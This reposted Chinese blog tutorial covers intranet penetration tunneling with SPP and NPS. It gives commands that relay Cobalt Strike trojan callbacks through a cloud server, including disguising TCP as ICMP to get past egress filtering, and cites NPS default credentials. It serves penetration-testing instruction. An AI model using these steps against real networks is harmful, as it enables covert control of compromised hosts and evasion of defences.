内网渗透—隧道搭建SPP与NPS内网穿透

news2024/12/23 18:13:00

内网渗透—隧道搭建&SPP与NPS内网穿透

  • 1. 前言
  • 2. SPP
    • 2.1. SPP代理通信
      • 2.1.1. 服务端配置
      • 2.1.2. 客户端配置
      • 2.1.3. CS设置
        • 2.1.3.1. 设置生成的监听器
        • 2.1.3.2. 设置监听的监听器
      • 2.1.4. 执行效果
    • 2.2. SPP隧道建立
      • 2.2.1. 服务端设置
      • 2.2.2. 客户端配置
      • 2.2.3. CS设置
        • 2.2.3.1. 设置生成的监听器
        • 2.2.3.2. 设置监听的监听器
      • 2.2.4. 执行效果
  • 3. NPS
    • 3.1. NPS原理
    • 3.2. NPS安装
      • 3.2.1. 服务端配置
        • 3.2.1.1. 访问服务端
        • 3.2.1.2. 建立隧道
        • 3.2.1.3. 隧道状态
      • 3.2.2. 客户端配置
        • 3.2.2.1. 修改配置文件
        • 3.2.2.2. 启动客户端
        • 3.2.2.3. 隧道状态
    • 3.3. CS设置
      • 3.3.1. 设置生成的监听器
      • 3.3.2. 设置监听的监听器
    • 3.4. 执行效果
    • 3.5. 总结

1. 前言

  在上篇文章中已经详细的介绍了,隧道搭建与代理转发这两方面的基础知识,这里就不在赘述了,直接演示剩下的两个工具,SPP与NPS这两个工具。

2. SPP

  关于SPP的具体使用方式可以直接去github上查询,讲解的很详细,这里只是简单的演示一下.

  支持的协议:tcp、udp、udp、icmp、http、kcp、quic

  支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理

  SPP下载

2.1. SPP代理通信

  这里的代理通信和前几个是一样的工作原理,采用的是反向代理,这里攻击机无出网IP,生成的木马无法反弹shell,而这时候采用代理方式可以进行解决,准备一台云服务器,将云服务器设置为服务端,攻击机设置为客户端,通过某个端口将客户端与服务端连接起来,然后通过设置SPP的反向代理,将本地的某个端口映射到服务器的某个端口,当有木马访问服务器的端口的时候,相当于去访问攻击机的端口,而攻击机只需要监听本地的端口,即可实现上线。

在这里插入图片描述

2.1.1. 服务端配置

  这里需要提前准备一台云服务器,然后给文件添加执行权限。

chmod +x spp  ##添加执行权限
./spp -type server -proto tcp -listen :8888 ##启动spp,并设置为服务端,通信协议为tcp,监控本地的8888端口。

在这里插入图片描述

2.1.2. 客户端配置

  这里在本地攻击机上设置即可,主要就是当有机器去访问服务器的7777端口,服务器就会将流量转发到本地的5555端口上,相当于访问服务器的7777端口就是访问本地的5555端口。

chmod +x spp  ##添加执行权限
./spp -name "text" -type reverse_proxy_client -server 服务器IP地址:8888 -fromaddr :7777 -toaddr :5555 -proxyproto tcp    ## 设置一个名字,连接服务器的IP地址及端口,将服务器的端口7777映射到本地的端口5555上,设置通信协议为tcp。

在这里插入图片描述

2.1.3. CS设置

  这里CS需要设置两个监听器,一个用于生成木马,一个用于接收反弹shell。

2.1.3.1. 设置生成的监听器

  这里的监听器IP地址要设置为服务端的IP地址,端口为刚刚的7777,相当于木马执行后,会去访问服务端的7777端,而之前的设置就是将服务端的7777端口信息转发到本地5555.

在这里插入图片描述

2.1.3.2. 设置监听的监听器

  这里只需要监听本地的IP地址以及5555端口即可。

在这里插入图片描述

2.1.4. 执行效果

  可以看到成功上线。

在这里插入图片描述

2.2. SPP隧道建立

  这里主要就是目标主机的出网TCP被禁止,但是ICMP协议是能够通信的,所以通过SPP将目标主机上的TCP流量伪装为ICMP协议转发给服务端。

在这里插入图片描述

2.2.1. 服务端设置

  这里需要设置监听的是icmp协议。

./spp -type server -proto ricmp -listen 0.0.0.0  ##这里设置监听ICMP协议,全端口

在这里插入图片描述

2.2.2. 客户端配置

  这里的客户端配置,就需要到目标主机上设置,由于是将本地的TCP伪装为ICMP所以需要转发本地的端口。

spp -name “test” -type proxy_client -server 服务端IP -fromaddr :5555 -toaddr :6666 -proxyproto tcp -proto ricmp

在这里插入图片描述

2.2.3. CS设置

  这里CS需要设置两个监听器,一个用于生成木马,一个用于接收反弹shell。

2.2.3.1. 设置生成的监听器

  这里要生成本地的5555端口,因为客户端上已经设置了将5555端口转发了。

在这里插入图片描述

2.2.3.2. 设置监听的监听器

  这里只需要监听本地的IP地址的6666端口即可。

在这里插入图片描述

2.2.4. 执行效果

  同样这里成功上线。

在这里插入图片描述

3. NPS

  nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。

  NPS下载

3.1. NPS原理

  NPS的原来其实和上面的SPP的代理通信原理是一致的,这里就不再次介绍了。

3.2. NPS安装

  由于NPS的服务端与客户端是不同的,所以在下载的时候需要注意不要混淆,同时在配置文件中会涉及到很多的端口或者一些配置,默认情况是不需要修改的,直接使用最好,如果需要修改,请参考官方文档。

  官方文档

nps默认配置文件使用了80,443,8080,8024端口
80与443端口为域名解析模式默认端口
8080为web管理访问端口
8024为网桥端口,用于客户端与服务器通信
默认账号密码:admin/123

3.2.1. 服务端配置

  这里下载后进行解压,然后执行安装。

./nps install
nps start  ##启动nps
nps stop   ##停止nps
nps restart ##重启nps

在这里插入图片描述

3.2.1.1. 访问服务端

  云服务器地址:8080,默认账号密码:admin/123

在这里插入图片描述

3.2.1.2. 建立隧道

  这里建立的是一个TCP隧道,客户端ID不用管,随便写一个,服务端口,就是其它用户访问的端口,简单来说就是将服务器上的那个端口转发到客户机上,目标端口就是转发到客户机上哪个端口。

在这里插入图片描述

3.2.1.3. 隧道状态

  可以看到目前的隧道是离线状态。

在这里插入图片描述

3.2.2. 客户端配置

  同样客户端这里不要安装错误了,要按照客户端,不要安装成服务端了,客户端这里只要解压就OK了。

3.2.2.1. 修改配置文件

  在conf文件夹下有一个npc.conf文件,在里面我们修改的地方只有一个,就是服务器的地址与端口,也就是与服务器通信的地址和端口,其它的都是默认的,当然你也可以选择修改,不过修改的话最好对照官方文档修改。

  这里我感觉,其实都不用修改,因为下面启动的时候,还需要添加服务器的IP与端口。

server_addr=124.XXX.XXX.62:8024   ##设置服务端地址:端口默认8024
vkey=123                          ##客户端密钥

在这里插入图片描述

3.2.2.2. 启动客户端

  这里输入命令即可,不过需要注意这个是Linux客户端。

./npc -server=124.XX.XX.62:8024 -vkey=123 -type=tcp  ##这里就是设置服务端IP与端口 设置的密钥 连接的协议类型。

在这里插入图片描述

3.2.2.3. 隧道状态

  这里就可以查看一下隧道的状态,可以看到这里是成功上线了。

在这里插入图片描述

3.3. CS设置

  这里CS需要设置两个监听器,一个用于生成木马,一个用于接收反弹shell。

3.3.1. 设置生成的监听器

  这里的监听器IP地址要设置为服务端的IP地址,端口为刚刚的5656,相当于木马执行后,会去访问服务端的5656端,而之前的设置就是将服务端的5656端口信息转发到本地6666。

在这里插入图片描述

3.3.2. 设置监听的监听器

  这里只需要监听本地的IP地址以及6666端口即可。

在这里插入图片描述

3.4. 执行效果

  可以看到成功上线了。

在这里插入图片描述

3.5. 总结

  关于NPS方面还有很多的使用方式,建议去看看官方手册。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/650829.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mybatis学习笔记三

目录 一、MyBatis的缓存1.1 MyBatis的一级缓存1.2 MyBatis的二级缓存1.3 二级缓存的相关配置1.4 MyBatis缓存查询的顺序1.5 整合第三方缓存EHCache(了解) 二、MyBatis的逆向工程2.1 创建逆向工程的步骤2.2 简单使用查询增改 三、 分页插件3.1 分页插件使…

Endnote解决文章题目Title大小写问题,以及专有名词保持全部大写

在写毕业论文或综述类文章时,需要添加大量参考文献(100左右或更多),而每个期刊的要求是不一样的,因此手动输入或修改参考文献的格式是愚蠢的(狗头保命),所以需要强大的endnote来进行…

一篇博客搞定C++11之Lambda表达式(附案例代码+解析)

Lambda表达式 1.lambda表达式语法2.捕获列表说明3.lambda表达式实现原理4.具体案例5.总结 1.lambda表达式语法 ambda表达式的语法非常简单,具体定义如下: [ captures ] ( params ) specifiers exception -> ret { body } 先不用急于解读这个定义&…

面向对象内部类

概念 将一个类 A 定义在另一个类 B 里面,里面的那个类 A 就称为内部类 (InnerClass),类 B 则称为外部类(OuterClass) 根据内部类声明的位置(如同变量的分类),我们可以分…

首次使用云服务器搭建网站(二)

书接上文,我们已经完成了服务器的租赁,宝塔面板的下载与安装。 接下来我们将正式开始网站搭建。 一、网站创建 点击网站、添加站点 输入网站域名、数据库选择MySQL数据库,选择utf8,数据库账号密码会自动生成。无论你要创建什么样…

【linux网络配置】多个网卡一起使用,一个网卡连内网,一个网卡连外网

一、问题背景 因为有一个工作站在内网中,但是没有办法联网(校园网账户有限)。 虽然工作站没有联网,但是我仍然可以通过局域网远程控制工作站,使其访问校园网验证页面实现上网。 当给工作站安装软件或依赖项时&#…

SpringBoot配置文件application.properties的理解

一、存放位置分类 1.当前项目根目录下的config目录下 2.当前项目的根目录下 3.resources目录下的config目录下 4.resources目录下 按照这上面的顺序,4个配置文件的优先级依次降低。 我们在项目里面4个位置分别设置了各种的application.properties文件。每个文件…

MySQL查看和修改最大连接数

标题:MySQL查看和修改最大连接数 MySQL 是一种广泛使用的开源关系型数据库管理系统,被许多应用程序用作其后端存储解决方案。在高并发的环境下,MySQL 的最大连接数变得尤为重要。本文将介绍如何查看当前的最大连接数,并详细说明每…

安卓实战开发之——使用 WIFI 进行设备搜索并获取相应信息

目录 一、前言 二、准备条件 三、功能要求 四、显示效果 五、关键代码 一、前言 此玩意是本人很早很早(记不清有多早了,反正很早)做过的一个课程任务了,无意之中翻到了,所以把它放上来。不愿再找以前写的代码了…

大数据环境搭建 Hadoop+Hive+Flume+Sqoop+Azkaban

目录 零:版本说明一、安装CentOS二、Hadoop单机配置三、Hive安装部署 零:版本说明 Hadoop:3.1.0 CentOS:7.6 JDK:1.8 一、安装CentOS 这里网上教程很多,就不贴图了 【内存可以尽量大一些,不然…

DeepBIO:一个自动化和可解释的深度学习平台,用于高通量生物序列预测,功能注释和可视化分析

DeepBIO: an automated and interpretable deep-learning platform for high-throughput biological sequence prediction, functional annotation and visualization analysis 期刊:Nucleic Acids Research 中科院分区:2区 影像因子:19.1…

面向对象抽象

抽象类 1 概念 Java中可以定义被abstract关键字修饰的方法,这种方法只有声明,没有方法体,叫做抽象方法. Java中可以定义被abstract关键字修饰的类,被abstract关键字修饰的类叫做抽象类 如果一个类含有抽象方法,那么它一定是抽象类 抽象类中的方法实现交给子类来完成 2 抽象…

redisTemplate海量数据批量存储

有个表的数据需初始化到redis, 目前18w, 后期会达到千万1. 使用redisTemplate批量存储数据 Autowiredprivate RedisTemplate redisTemplate;public void init(){List<WxPois> list SpringUtils.getBean(WxPoisMapper.class).selectWxPoisList(new WxPois());if (Collect…

华为OD机试之数组拼接(Java源码)

数组拼接 题目描述 现在有多组整数数组&#xff0c;需要将它们合并成一个新的数组。 合并规则&#xff0c;从每个数组里按顺序取出固定长度的内容合并到新的数组中&#xff0c;取完的内容会删除掉&#xff0c;如果该行不足固定长度或者已经为空&#xff0c;则直接取出剩余部…

APP、Web自动化测试面试题

App/Web自动化的面试题 备注&#xff1a;一般面试的时候是结合简历上的项目一步一步深入进行问的问题&#xff0c;只要你实际做过一个项目的&#xff0c;加上自己面试准备下&#xff0c;问题不会太大 【APP自动化问题&#xff1a;1.3.6.10.11.12.13.14.19】 【Web自动化问题&…

意向共享锁和意向排他锁

InnoDB表级锁 在绝大部分情况下都应该使用行锁&#xff0c;因为事务和行锁往往是选择InnoDB的理由&#xff0c;但个别情况下也使用表级锁&#xff1a; 1&#xff09;事务需要更新大部分或全部数据&#xff0c;表又比较大&#xff0c;如果使用默认的行锁&#xff0c;不仅这个事…

【Android开发基础】蓝牙信息的获取(Bluetooth)

文章目录 一、引言二、操作1、权限2、开启蓝牙3、可检测4、搜索蓝牙5、广播 三、附件1、UI界面设计2、总代码 一、引言 描述&#xff1a;蓝牙技术是一种无线数据和语音通信开放的全球规范&#xff0c;它是基于低成本的近距离无线连接&#xff0c;为固定和移动设备建立通信环境…

华为OD机试真题 JavaScript 实现【知识图谱新词挖掘1】【2023Q1 100分】

一、题目描述 小华负责公司知识图谱产品&#xff0c;现在要通过新词挖掘完善知识图谱。 新词挖掘: 给出一个待挖掘文本内容字符串Content和一个词的字符串word&#xff0c;找到content中所有word的新词。 新词&#xff1a;使用词word的字符排列形成的字符串。 请帮小华实现新词…

cesium学习(相机)

飞到一个地方 如果你知道位置的经纬度和高度&#xff0c;你可以使用相机的flyTo功能直接飞到CesiumJS中的那个位置。 viewer.camera.flyTo({destination: Cesium.Cartesian3.fromDegrees(-117.16, 32.71, 15000.0), });更改相机的方向 flyTo要在完成后更改相机的方向&#x…

一、网络协议和常用的网络工具

文章目录 1.计算机概论1.1 计算机网络是什么&#xff1f;1.2 计算机网络的层次结构 2.TCP/IP详解2.1 TCP/IP协议族2.2 网络传输中的数据2.3 网路通信中的地址和端口号2.4 TCP三次握手建立连接2.5 TCP四次挥手建立连接 3.网络工具Wireshark和tcpdump4.一次完整的Http请求过程 1.…